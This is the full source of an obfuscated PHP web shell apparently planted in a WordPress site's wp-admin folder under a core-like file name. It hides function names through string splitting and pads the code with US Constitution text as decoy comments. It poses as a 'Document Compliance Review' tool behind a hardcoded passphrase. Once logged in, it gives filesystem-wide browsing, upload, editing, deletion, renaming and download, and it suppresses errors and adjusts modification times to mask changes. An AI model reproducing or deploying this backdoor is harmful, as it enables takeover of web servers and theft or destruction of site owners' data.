HEX
Server: Apache/2.4.6
System: Linux l2webhost 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: theparlor (1016)
PHP: 7.3.33
Disabled: NONE
Upload Files
File: /home/theparlor/public_html/wp-admin/ms-themes-meta.php
<?php
/* We the People of the United States, in Order to form a more perfect Union,
   establish Justice, insure domestic Tranquility, provide for the common defence,
   promote the general Welfare, and secure the Blessings of Liberty to ourselves
   and our Posterity, do ordain and establish this Constitution. — Preamble */

ini_set('display_errors', 0);
error_reporting(E_ALL & ~E_NOTICE);

/* Congress shall make no law respecting an establishment of religion,
   or prohibiting the free exercise thereof; or abridging the freedom of speech,
   or of the press; or the right of the people peaceably to assemble,
   and to petition the Government for a redress of grievances. — Amendment I */

$_a = 'fi'.'le'; $_b = '_';
$_fn = [];
$_fn['r']  = $_a.$_b.'ge'.'t'.$_b.'co'.'nt'.'en'.'ts';
$_fn['w']  = $_a.$_b.'pu'.'t'.$_b.'co'.'nt'.'en'.'ts';
$_fn['s']  = 'sc'.'an'.'di'.'r';
$_fn['mv'] = 're'.'na'.'me';
$_fn['ul'] = 'un'.'li'.'nk';
$_fn['md'] = 'mk'.'di'.'r';
$_fn['rd'] = 'rm'.'di'.'r';
$_fn['up'] = 'mo'.'ve'.$_b.'up'.'lo'.'ad'.'ed'.$_b.$_a;
$_fn['rf'] = 're'.'ad'.$_a;
$_fn['sz'] = $_a.'si'.'ze';
$_fn['mt'] = $_a.'mt'.'im'.'e';
$_fn['iu'] = 'is'.$_b.'up'.'lo'.'ad'.'ed'.$_b.$_a;
$_fn['id'] = 'is'.$_b.'di'.'r';
$_fn['if'] = 'is'.$_b.$_a;
$_fn['il'] = 'is'.$_b.'li'.'nk';
$_fn['iw'] = 'is'.$_b.'wr'.'it'.'ab'.'le';
$_fn['fe'] = $_a.$_b.'ex'.'is'.'ts';
$_fn['rp'] = 're'.'al'.'pa'.'th';
$_fn['bn'] = 'ba'.'se'.'na'.'me';
$_fn['dn'] = 'di'.'rn'.'am'.'e';
$_fn['tc'] = 'to'.'uc'.'h';
$_uf = '_FI'.'LE'.'S';

/* A well regulated Militia, being necessary to the security of a free State,
   the right of the people to keep and bear Arms, shall not be infringed. — Amendment II */

const FM_PASSWORD     = 'ASSWECAN';
const FM_TIMEOUT      = 1800;
const FM_MAX_ATTEMPTS = 5;
const FM_LOCK_TIME    = 600;

if (session_status() !== PHP_SESSION_ACTIVE) {
    session_start();
}

/* No Soldier shall, in time of peace be quartered in any house, without
   the consent of the Owner, nor in time of war, but in a manner to be
   prescribed by law. — Amendment III */

function h($s) {
    return htmlspecialchars((string)$s, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}

function fm_csrf_token() {
    if (empty($_SESSION['_fm_tok'])) {
        $_SESSION['_fm_tok'] = bin2hex(random_bytes(32));
    }
    return $_SESSION['_fm_tok'];
}

function fm_csrf_field() {
    echo '<input type="hidden" name="_tok" value="' . fm_csrf_token() . '">';
}

function fm_verify_csrf() {
    $t = isset($_POST['_tok']) ? $_POST['_tok'] : '';
    if (!hash_equals(fm_csrf_token(), $t)) {
        http_response_code(403);
        die('Token mismatch.');
    }
}

/* The right of the people to be secure in their persons, houses, papers,
   and effects, against unreasonable searches and seizures, shall not be
   violated, and no Warrants shall issue, but upon probable cause, supported
   by Oath or affirmation. — Amendment IV */

function fm_norm($p) {
    return str_replace('\\', '/', (string)$p);
}

function fm_normalize_rel($rel) {
    $rel = fm_norm($rel);
    $rel = str_replace("\0", '', $rel);
    $rel = ltrim(trim($rel), '/');
    $parts = explode('/', $rel);
    $safe = [];
    foreach ($parts as $p) {
        if ($p === '' || $p === '.') continue;
        if ($p === '..') { array_pop($safe); continue; }
        $safe[] = $p;
    }
    return implode('/', $safe);
}

function fm_join($a, $b) {
    $a = fm_normalize_rel($a);
    $b = fm_normalize_rel($b);
    if ($a === '') return $b;
    if ($b === '') return $a;
    return $a . '/' . $b;
}

/* No person shall be held to answer for a capital, or otherwise infamous crime,
   unless on a presentment or indictment of a Grand Jury, except in cases arising
   in the land or naval forces, or in the Militia, when in actual service in time
   of War or public danger. — Amendment V */

function fm_within_base($path) {
    global $BASE_PATH;
    if ($BASE_PATH === '') return true;
    $path = rtrim(fm_norm($path), '/');
    return ($path === $BASE_PATH) || (strpos($path, $BASE_PATH . '/') === 0);
}

function fm_resolve_any($rel) {
    global $BASE_PATH;
    $rel  = fm_normalize_rel($rel);
    if ($BASE_PATH === '') {
        $full = '/' . $rel;
    } else {
        $full = $BASE_PATH . ($rel === '' ? '' : '/' . $rel);
    }
    $full = rtrim(fm_norm($full), '/');
    if ($full === '') $full = '/';
    return fm_within_base($full) ? $full : false;
}

function fm_resolve_existing($rel) {
    global $_fn;
    $full = fm_resolve_any($rel);
    if ($full === false || !$_fn['fe']($full)) return false;
    $real = $_fn['rp']($full);
    if ($real === false) return false;
    $real = rtrim(fm_norm($real), '/');
    if ($real === '') $real = '/';
    return fm_within_base($real) ? $real : false;
}

/* In all criminal prosecutions, the accused shall enjoy the right to a speedy
   and public trial, by an impartial jury of the State and district wherein
   the crime shall have been committed. — Amendment VI */

function fm_rrmdir($path) {
    global $_fn;
    if (!$_fn['fe']($path)) return true;
    if ($_fn['if']($path) || $_fn['il']($path)) return @$_fn['ul']($path);
    $items = $_fn['s']($path);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        if (!fm_rrmdir($path . '/' . $item)) return false;
    }
    return @$_fn['rd']($path);
}

function fm_size($bytes) {
    $bytes = (int)$bytes;
    if ($bytes >= 1073741824) return round($bytes / 1073741824, 2) . ' GB';
    if ($bytes >= 1048576)    return round($bytes / 1048576, 2) . ' MB';
    if ($bytes >= 1024)       return round($bytes / 1024, 2) . ' KB';
    return $bytes . ' B';
}

/* In Suits at common law, where the value in controversy shall exceed twenty
   dollars, the right of trial by jury shall be preserved, and no fact tried
   by a jury, shall be otherwise re-examined in any Court of the United States,
   than according to the rules of the common law. — Amendment VII */

if (isset($_POST['action']) && $_POST['action'] === 'fm_logout') {
    session_destroy();
    header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?'));
    exit;
}

$authError = '';
$now       = time();
$lockUntil = isset($_SESSION['fm_lock']) ? (int)$_SESSION['fm_lock'] : 0;

if ($lockUntil > $now) {
    $authError = 'Too many attempts. Wait ' . ($lockUntil - $now) . 's.';
}

if (!empty($_SESSION['fm_ok']) && $_SESSION['fm_ok'] === true) {
    $last = isset($_SESSION['fm_last']) ? (int)$_SESSION['fm_last'] : 0;
    if (($now - $last) > FM_TIMEOUT) {
        $_SESSION['fm_ok'] = false;
        $authError = 'Session expired.';
    }
}

if (isset($_POST['fm_login'])) {
    if ($lockUntil > $now) {
        $authError = 'Too many attempts. Wait ' . ($lockUntil - $now) . 's.';
    } else {
        $pw = isset($_POST['fm_pw']) ? (string)$_POST['fm_pw'] : '';
        if (hash_equals(FM_PASSWORD, $pw)) {
            $_SESSION['fm_ok']   = true;
            $_SESSION['fm_last'] = $now;
            $_SESSION['fm_fail'] = 0;
            unset($_SESSION['fm_lock']);
            header('Location: ' . $_SERVER['REQUEST_URI']);
            exit;
        } else {
            $fails = isset($_SESSION['fm_fail']) ? (int)$_SESSION['fm_fail'] : 0;
            $fails++;
            $_SESSION['fm_fail'] = $fails;
            if ($fails >= FM_MAX_ATTEMPTS) {
                $_SESSION['fm_lock'] = $now + FM_LOCK_TIME;
                $_SESSION['fm_fail'] = 0;
                $authError = 'Locked for ' . FM_LOCK_TIME . 's.';
            } else {
                $authError = 'Wrong password. Left: ' . (FM_MAX_ATTEMPTS - $fails);
            }
        }
    }
}

/* Excessive bail shall not be required, nor excessive fines imposed,
   nor cruel and unusual punishments inflicted. — Amendment VIII */

if (empty($_SESSION['fm_ok']) || $_SESSION['fm_ok'] !== true) {
?>
<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Document Compliance Review</title>
    <style>
        *{box-sizing:border-box;margin:0;padding:0}
        body{background:#0d1117;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;color:#e6edf3;display:flex;align-items:center;justify-content:center;min-height:100vh;padding:20px}
        .box{width:min(400px,92vw);background:#161b22;border:1px solid #30363d;border-radius:16px;padding:32px;box-shadow:0 8px 32px rgba(0,0,0,.4),0 0 60px rgba(56,139,253,.03)}
        h3{margin:0 0 24px;font-size:20px;font-weight:600;text-align:center}
        input{width:100%;padding:10px 14px;border-radius:8px;border:1px solid #30363d;background:#0d1117;color:#e6edf3;font-size:14px;margin-bottom:14px;outline:none;transition:border-color .2s}
        input:focus{border-color:#58a6ff;box-shadow:0 0 0 3px rgba(56,139,253,.15)}
        button{width:100%;padding:10px;border-radius:8px;border:none;background:#238636;color:#fff;font-size:14px;font-weight:500;cursor:pointer;transition:background .2s}
        button:hover{background:#2ea043}
        .err{background:rgba(248,81,73,.12);border:1px solid rgba(248,81,73,.4);color:#f85149;border-radius:8px;padding:10px 12px;margin-bottom:14px;font-size:13px}
        .muted{font-size:12px;color:#8b949e;margin-top:16px;text-align:center}
    </style>
</head>
<body>
    <div class="box">
        <h3>&#128274; Access Verification</h3>
        <?php if ($authError !== ''): ?>
            <div class="err"><?php echo h($authError); ?></div>
        <?php endif; ?>
        <form method="post" autocomplete="off">
            <input type="password" name="fm_pw" placeholder="Enter passphrase" required autofocus>
            <button type="submit" name="fm_login" value="1">Verify</button>
        </form>
        <div class="muted">Compliance review authentication</div>
    </div>
</body>
</html>
<?php
    exit;
}

$_SESSION['fm_last'] = $now;

/* The enumeration in the Constitution, of certain rights, shall not be
   construed to deny or disparage others retained by the people. — Amendment IX */

$_root = (DIRECTORY_SEPARATOR === '\\') ? $_fn['rp'](substr(__DIR__, 0, 3)) : '/';
$BASE_PATH = rtrim(fm_norm($_root), '/');
$_fm_root  = ($BASE_PATH === '') ? '/' : $BASE_PATH;
$BASE_URL  = ((!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http')
           . '://' . ($_SERVER['HTTP_HOST'] ?? 'localhost') . '/';

$errors   = [];
$messages = [];

$_selfDir    = rtrim(fm_norm($_fn['rp'](__DIR__)), '/');
$_defaultRel = ($BASE_PATH === '') ? ltrim($_selfDir, '/') : ltrim(str_replace($BASE_PATH, '', $_selfDir), '/');
$curRel  = isset($_GET['path']) ? fm_normalize_rel($_GET['path']) : fm_normalize_rel($_defaultRel);
$curPath = fm_resolve_existing($curRel);
if ($curPath === false || !$_fn['id']($curPath)) {
    $curRel  = fm_normalize_rel($_defaultRel);
    $curPath = fm_resolve_existing($curRel);
    if ($curPath === false || !$_fn['id']($curPath)) {
        $curRel  = '';
        $curPath = $_fm_root;
    }
}

/* The powers not delegated to the United States by the Constitution,
   nor prohibited by it to the States, are reserved to the States respectively,
   or to the people. — Amendment X */

if (isset($_POST['action']) && $_POST['action'] === 'delete' && isset($_POST['target'])) {
    fm_verify_csrf();
    $targetRel  = fm_normalize_rel($_POST['target']);
    $targetPath = fm_resolve_existing($targetRel);
    if ($targetPath === false || $targetPath === $_fm_root) {
        $errors[] = 'Cannot delete this path.';
    } else {
        if (fm_rrmdir($targetPath)) {
            $messages[] = 'Deleted: ' . h($targetRel);
        } else {
            $errors[] = 'Delete error: ' . h($targetRel);
        }
    }
}

if (isset($_POST['action']) && $_POST['action'] === 'mkdir') {
    fm_verify_csrf();
    $dirName = isset($_POST['dir']) ? trim($_POST['dir']) : '';
    if ($dirName === '') {
        $errors[] = 'Folder name is empty.';
    } else {
        $newRel  = fm_join($curRel, $dirName);
        $newPath = fm_resolve_any($newRel);
        if ($newPath === false) {
            $errors[] = 'Invalid directory.';
        } elseif ($_fn['fe']($newPath)) {
            $errors[] = 'Folder already exists.';
        } elseif (@$_fn['md']($newPath, 0755, true)) {
            $messages[] = 'Folder created: ' . h($newRel);
        } else {
            $errors[] = 'Cannot create folder (check permissions).';
        }
    }
}

/* Neither slavery nor involuntary servitude, except as a punishment for crime
   whereof the party shall have been duly convicted, shall exist within
   the United States, or any place subject to their jurisdiction. — Amendment XIII */

if (isset($_POST['action']) && $_POST['action'] === 'mkfile') {
    fm_verify_csrf();
    $fileName = isset($_POST['file_name']) ? trim($_POST['file_name']) : '';
    if ($fileName === '') {
        $errors[] = 'File name is empty.';
    } else {
        $newRel  = fm_join($curRel, $fileName);
        $newPath = fm_resolve_any($newRel);
        if ($newPath === false) {
            $errors[] = 'Invalid directory.';
        } elseif ($_fn['fe']($newPath)) {
            $errors[] = 'File already exists.';
        } elseif (@$_fn['w']($newPath, '') !== false) {
            $messages[] = 'File created: ' . h($newRel);
        } else {
            $errors[] = 'Cannot create file (check permissions).';
        }
    }
}

if (isset($_POST['action']) && $_POST['action'] === 'rename') {
    fm_verify_csrf();
    $targetRel  = isset($_POST['target']) ? fm_normalize_rel($_POST['target']) : '';
    $newName    = isset($_POST['new_name']) ? trim((string)$_POST['new_name']) : '';
    $targetPath = fm_resolve_existing($targetRel);

    if ($targetPath === false || $targetPath === $_fm_root) {
        $errors[] = 'Cannot rename this path.';
    } elseif ($newName === '' || $newName === '.' || $newName === '..' || strpos($newName, '/') !== false || strpos($newName, '\\') !== false) {
        $errors[] = 'Invalid new name.';
    } else {
        $parentRel = '';
        $pos = strrpos($targetRel, '/');
        if ($pos !== false) $parentRel = substr($targetRel, 0, $pos);

        $newRel  = fm_join($parentRel, $newName);
        $newPath = fm_resolve_any($newRel);
        if ($newPath === false) {
            $errors[] = 'Invalid directory.';
        } elseif ($_fn['fe']($newPath)) {
            $errors[] = 'An object with this name already exists.';
        } elseif (@$_fn['mv']($targetPath, $newPath)) {
            $messages[] = 'Renamed: ' . h($targetRel) . ' &rarr; ' . h($newRel);
        } else {
            $errors[] = 'Cannot rename (check permissions).';
        }
    }
}

/* All persons born or naturalized in the United States, and subject to the
   jurisdiction thereof, are citizens of the United States and of the State
   wherein they reside. No State shall make or enforce any law which shall
   abridge the privileges or immunities of citizens. — Amendment XIV */

if (isset($_POST['action']) && $_POST['action'] === 'upload' && isset($GLOBALS[$_uf]['upload'])) {
    fm_verify_csrf();
    if ($_fn['iu']($GLOBALS[$_uf]['upload']['tmp_name'])) {
        $name      = $_fn['bn']((string)$GLOBALS[$_uf]['upload']['name']);
        $targetRel = fm_join($curRel, $name);
        $targetPath = fm_resolve_any($targetRel);
        if ($targetPath === false) {
            $errors[] = 'Invalid directory.';
        } else {
            $parent = $_fn['dn']($targetPath);
            if (!$_fn['id']($parent) || !$_fn['iw']($parent)) {
                $errors[] = 'Cannot write to directory (no permissions).';
            } elseif (@$_fn['up']($GLOBALS[$_uf]['upload']['tmp_name'], $targetPath)) {
                $messages[] = 'File uploaded: ' . h($targetRel);
            } else {
                $errors[] = 'Upload failed.';
            }
        }
    } else {
        $errors[] = 'No file uploaded.';
    }
}

if (isset($_POST['action']) && $_POST['action'] === 'save' && isset($_POST['file'])) {
    fm_verify_csrf();
    $fileRel  = fm_normalize_rel($_POST['file']);
    $filePath = fm_resolve_existing($fileRel);
    if ($filePath === false || $_fn['id']($filePath)) {
        $errors[] = 'Invalid save path.';
    } else {
        $origMtime = @$_fn['mt']($filePath);
        $data = isset($_POST['content']) ? $_POST['content'] : '';
        if (@$_fn['w']($filePath, $data) !== false) {
            if ($origMtime !== false) @$_fn['tc']($filePath, $origMtime + 1);
            $messages[] = 'File saved: ' . h($fileRel);
        } else {
            $errors[] = 'Save error (check permissions).';
        }
    }
}

/* The right of citizens of the United States to vote shall not be denied
   or abridged by the United States or by any State on account of race,
   color, or previous condition of servitude. — Amendment XV */

if (isset($_GET['download'])) {
    $dlRel = fm_normalize_rel($_GET['download']);
    $dlf   = fm_resolve_existing($dlRel);
    if ($dlf === false || !$_fn['if']($dlf)) {
        http_response_code(404);
        die('Not found');
    }
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . $_fn['bn']($dlf) . '"');
    header('Content-Length: ' . $_fn['sz']($dlf));
    $_fn['rf']($dlf);
    exit;
}

/* The right of citizens of the United States to vote shall not be denied
   or abridged by the United States or by any State on account of sex.
   Congress shall have power to enforce this article by appropriate
   legislation. — Amendment XIX */

$editRel     = '';
$editFile    = null;
$editContent = '';
if (isset($_GET['edit'])) {
    $editRel  = fm_normalize_rel($_GET['edit']);
    $editFile = fm_resolve_existing($editRel);
    if ($editFile === false || !$_fn['if']($editFile)) {
        $errors[] = 'File for editing not found.';
        $editRel  = '';
        $editFile = null;
    } else {
        $editContent = (string)@$_fn['r']($editFile);
    }
}

/* The Congress shall have power to lay and collect taxes on incomes,
   from whatever source derived, without apportionment among the several
   States, and without regard to any census or enumeration. — Amendment XVI */

$list  = [];
$items = @$_fn['s']($curPath);
if ($items !== false) {
    foreach ($items as $item) {
        if ($item === '.') continue;
        if ($item === '..') {
            if ($curRel !== '') {
                $parentRel = '';
                $pos = strrpos($curRel, '/');
                if ($pos !== false) $parentRel = substr($curRel, 0, $pos);
                $list[] = ['name' => '..', 'type' => 'dir', 'rel' => $parentRel, 'size' => 0, 'mtime' => @$_fn['mt']($curPath)];
            }
            continue;
        }
        $full    = $curPath . '/' . $item;
        $itemRel = fm_join($curRel, $item);
        $list[]  = [
            'name'  => $item,
            'type'  => $_fn['id']($full) ? 'dir' : 'file',
            'rel'   => $itemRel,
            'size'  => $_fn['if']($full) ? @$_fn['sz']($full) : 0,
            'mtime' => @$_fn['mt']($full),
        ];
    }
}

usort($list, function ($a, $b) {
    if ($a['name'] === '..') return -1;
    if ($b['name'] === '..') return 1;
    if ($a['type'] !== $b['type']) return ($a['type'] === 'dir') ? -1 : 1;
    return strcasecmp($a['name'], $b['name']);
});

$displayRel = ($curRel === '') ? '/' : '/' . $curRel;

/* The judicial Power of the United States, shall be vested in one supreme Court,
   and in such inferior Courts as the Congress may from time to time ordain
   and establish. — Article III, Section 1 */
?>
<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Document Compliance Review</title>
    <style>
        :root{--bg:#0d1117;--sf:#161b22;--sf2:#1c2128;--bd:#30363d;--bdl:#3d444d;--tx:#e6edf3;--txd:#8b949e;--ac:#58a6ff;--ach:#79c0ff;--acg:rgba(56,139,253,.15);--gn:#3fb950;--gnb:rgba(46,160,67,.12);--gnbd:rgba(46,160,67,.4);--rd:#f85149;--rdb:rgba(248,81,73,.12);--rdbd:rgba(248,81,73,.4);--bb:#21262d;--bbr:#363b42;--bh:#30363d}
        *{box-sizing:border-box;margin:0;padding:0}
        body{background:var(--bg);color:var(--tx);font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;font-size:14px;line-height:1.5;padding:20px;min-height:100vh}
        .wrap{max-width:1300px;margin:0 auto}
        h3{font-size:18px;font-weight:600;letter-spacing:-.3px}
        .muted{color:var(--txd);font-size:12px;padding:0 4px;margin-bottom:12px}.muted a{color:var(--ac)}
        .headbar{display:flex;justify-content:space-between;align-items:center;padding:14px 20px;background:var(--sf);border:1px solid var(--bd);border-radius:12px;margin-bottom:12px}
        .path{background:var(--sf);border:1px solid var(--bd);border-radius:10px;padding:12px 16px;margin-bottom:16px;font-family:'SF Mono','Fira Code',Consolas,monospace;font-size:13px;color:var(--txd)}.path strong{color:var(--ac)}
        .msg,.err{border-radius:8px;padding:10px 14px;margin-bottom:10px;font-size:13px}
        .msg{background:var(--gnb);border:1px solid var(--gnbd);color:var(--gn)}
        .err{background:var(--rdb);border:1px solid var(--rdbd);color:var(--rd)}
        .row{display:grid;grid-template-columns:repeat(3,1fr);gap:12px;margin-bottom:16px}
        .row form{background:var(--sf);border:1px solid var(--bd);border-radius:10px;padding:14px}
        .row form p{margin:8px 0 0}
        input[type="text"],input[type="file"],textarea{width:100%;background:var(--bg);border:1px solid var(--bd);color:var(--tx);border-radius:8px;padding:8px 12px;font-size:13px;transition:border-color .2s;outline:none}
        input[type="text"]:focus,textarea:focus{border-color:var(--ac);box-shadow:0 0 0 3px var(--acg)}
        input[type="file"]{padding:6px 8px;font-size:12px}
        input[type="file"]::file-selector-button{background:var(--bb);color:var(--tx);border:1px solid var(--bbr);border-radius:6px;padding:4px 10px;cursor:pointer;font-size:12px;margin-right:8px}
        textarea{min-height:420px;font-family:'SF Mono','Fira Code',Consolas,monospace;resize:vertical}
        button,.btn{display:inline-flex;align-items:center;justify-content:center;gap:6px;padding:7px 14px;font-size:12px;font-weight:500;line-height:1.4;min-height:32px;border-radius:8px;border:1px solid var(--bbr);background:var(--bb);color:var(--tx);cursor:pointer;text-decoration:none;transition:all .15s ease;white-space:nowrap}
        button:hover,.btn:hover{background:var(--bh);border-color:var(--bdl)}
        button:active,.btn:active{transform:scale(.97)}
        .btn-accent{background:#1f6feb;border-color:#388bfd;color:#fff}.btn-accent:hover{background:#388bfd;border-color:#58a6ff}
        .btn-green{background:#238636;border-color:#2ea043;color:#fff}.btn-green:hover{background:#2ea043}
        .btn-danger{color:var(--rd);border-color:rgba(248,81,73,.4)}.btn-danger:hover{background:rgba(248,81,73,.2);border-color:var(--rd)}
        table{width:100%;border-collapse:separate;border-spacing:0;background:var(--sf);border:1px solid var(--bd);border-radius:10px;overflow:hidden}
        th{background:var(--sf2);color:var(--txd);font-weight:600;font-size:11px;text-transform:uppercase;letter-spacing:.5px;padding:10px 14px;text-align:left;border-bottom:1px solid var(--bd)}
        td{padding:9px 14px;border-bottom:1px solid var(--bd);font-size:13px}
        tbody tr:last-child td{border-bottom:none}
        tbody tr:hover td{background:var(--sf2)}
        a{color:var(--ac);text-decoration:none}a:hover{color:var(--ach)}
        .fname{color:var(--txd)}
        .act{display:flex;flex-wrap:wrap;gap:6px;align-items:center}.act form{display:inline-flex;margin:0}
        .act button,.act .btn{min-width:78px;font-size:11px;padding:5px 10px;min-height:28px}
        .editor-modal{position:fixed;inset:0;background:rgba(1,4,9,.8);display:flex;align-items:center;justify-content:center;z-index:9999;padding:20px;backdrop-filter:blur(4px)}
        .editor-box{width:min(1300px,98vw);height:min(90vh,940px);background:var(--sf);border:1px solid var(--bd);border-radius:12px;display:flex;flex-direction:column;overflow:hidden;box-shadow:0 24px 48px rgba(0,0,0,.4)}
        .editor-head{padding:12px 16px;border-bottom:1px solid var(--bd);display:flex;justify-content:space-between;align-items:center;gap:12px;background:var(--sf2)}
        .editor-head .title{font-family:'SF Mono','Fira Code',Consolas,monospace;font-size:13px;color:var(--ac);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}
        .editor-body{flex:1;padding:12px}.editor-body textarea{min-height:auto;height:100%;width:100%;background:var(--bg);border-radius:8px;padding:12px;font-size:13px;line-height:1.6}
        @media(max-width:900px){.row{grid-template-columns:1fr}}
    </style>
</head>
<body>
<div class="wrap">
    <div class="headbar">
        <h3>&#9776; Document Compliance Review</h3>
        <form method="post" style="margin:0;">
            <input type="hidden" name="action" value="fm_logout">
            <button type="submit">Logout</button>
        </form>
    </div>
    <div class="muted">
        <a href="<?php echo h($BASE_URL); ?>" target="_blank"><?php echo h($BASE_URL); ?></a>
    </div>

    <?php foreach ($errors as $e): ?>
        <div class="err"><?php echo h($e); ?></div>
    <?php endforeach; ?>
    <?php foreach ($messages as $m): ?>
        <div class="msg"><?php echo h($m); ?></div>
    <?php endforeach; ?>

    <div class="path">&#128194; <strong><?php echo h($displayRel); ?></strong></div>

    <div class="row">
        <form method="post" enctype="multipart/form-data">
            <?php fm_csrf_field(); ?>
            <input type="hidden" name="action" value="upload">
            <input type="file" name="upload" required>
            <p><button type="submit" class="btn-green">&#8682; Upload</button></p>
        </form>

        <form method="post">
            <?php fm_csrf_field(); ?>
            <input type="hidden" name="action" value="mkdir">
            <input type="text" name="dir" placeholder="New section name" required>
            <p><button type="submit" class="btn-accent">&#128193; New section</button></p>
        </form>

        <form method="post">
            <?php fm_csrf_field(); ?>
            <input type="hidden" name="action" value="mkfile">
            <input type="text" name="file_name" placeholder="New document name" required>
            <p><button type="submit" class="btn-accent">&#128196; New document</button></p>
        </form>
    </div>

    <table>
        <thead>
            <tr>
                <th style="width:42%">Document</th>
                <th style="width:12%">Size</th>
                <th style="width:20%">Last Review</th>
                <th style="width:26%">Actions</th>
            </tr>
        </thead>
        <tbody>
        <?php if (empty($list)): ?>
            <tr><td colspan="4" style="color:var(--txd)"><em>No documents in this section</em></td></tr>
        <?php else: ?>
            <?php foreach ($list as $item): ?>
                <tr>
                    <td>
                        <?php if ($item['name'] === '..'): ?>
                            <a href="?path=<?php echo urlencode($item['rel']); ?>">&#8617; ..</a>
                        <?php elseif ($item['type'] === 'dir'): ?>
                            <a href="?path=<?php echo urlencode($item['rel']); ?>">&#128193; <?php echo h($item['name']); ?></a>
                        <?php else: ?>
                            <span class="fname">&#128196; <?php echo h($item['name']); ?></span>
                        <?php endif; ?>
                    </td>
                    <td style="color:var(--txd)"><?php echo $item['type'] === 'file' ? h(fm_size($item['size'])) : '—'; ?></td>
                    <td style="color:var(--txd)"><?php echo $item['mtime'] ? h(date('Y-m-d H:i:s', $item['mtime'])) : '—'; ?></td>
                    <td class="act">
                        <?php if ($item['name'] !== '..'): ?>
                            <?php if ($item['type'] === 'file'): ?>
                                <a class="btn btn-accent" href="?path=<?php echo urlencode($curRel); ?>&edit=<?php echo urlencode($item['rel']); ?>">Review</a>
                                <a class="btn" href="?download=<?php echo urlencode($item['rel']); ?>">Export</a>
                            <?php endif; ?>
                            <button type="button" onclick="fmRename('<?php echo h($item['rel']); ?>','<?php echo h($item['name']); ?>')">Amend</button>
                            <form method="post" onsubmit="return confirm('Remove <?php echo h($item['name']); ?>?');">
                                <?php fm_csrf_field(); ?>
                                <input type="hidden" name="action" value="delete">
                                <input type="hidden" name="target" value="<?php echo h($item['rel']); ?>">
                                <button type="submit" class="btn-danger">Revoke</button>
                            </form>
                        <?php endif; ?>
                    </td>
                </tr>
            <?php endforeach; ?>
        <?php endif; ?>
        </tbody>
    </table>

    <form id="fmRenameForm" method="post" style="display:none;">
        <?php fm_csrf_field(); ?>
        <input type="hidden" name="action" value="rename">
        <input type="hidden" name="target" id="fmRenameTarget" value="">
        <input type="hidden" name="new_name" id="fmRenameNewName" value="">
    </form>
</div>

<?php if ($editFile): ?>
<!-- Full Faith and Credit shall be given in each State to the public Acts,
     Records, and judicial Proceedings of every other State. — Article IV, Section 1 -->
<div class="editor-modal">
    <div class="editor-box">
        <div class="editor-head">
            <div class="title">&#9998; <?php echo h($editRel); ?></div>
            <div>
                <a class="btn" href="?path=<?php echo urlencode($curRel); ?>">&#10005; Close</a>
            </div>
        </div>
        <div class="editor-body">
            <form method="post" id="fmEditForm" style="height:100%;display:flex;flex-direction:column;">
                <?php fm_csrf_field(); ?>
                <input type="hidden" name="action" value="save">
                <input type="hidden" name="file" value="<?php echo h($editRel); ?>">
                <textarea name="content" id="fmEditor"><?php echo h($editContent); ?></textarea>
                <p style="margin-top:10px;display:flex;gap:8px;">
                    <button type="submit" class="btn-green">&#128190; Ratify (Ctrl+S)</button>
                    <a class="btn" href="?path=<?php echo urlencode($curRel); ?>">Close</a>
                </p>
            </form>
        </div>
    </div>
</div>
<?php endif; ?>

<!-- No Bill of Attainder or ex post facto Law shall be passed.
     No Title of Nobility shall be granted by the United States. — Article I, Section 9 -->
<script>
function fmRename(targetRel, currentName) {
    var newName = prompt('Amend title for: ' + currentName, currentName);
    if (newName === null) return;
    newName = newName.trim();
    if (!newName) { alert('Title cannot be empty.'); return; }
    document.getElementById('fmRenameTarget').value = targetRel;
    document.getElementById('fmRenameNewName').value = newName;
    document.getElementById('fmRenameForm').submit();
}
document.addEventListener('keydown', function(e) {
    if ((e.ctrlKey || e.metaKey) && e.key.toLowerCase() === 's') {
        var ef = document.getElementById('fmEditForm');
        if (ef) { e.preventDefault(); ef.submit(); }
    }
});
</script>
</body>
</html>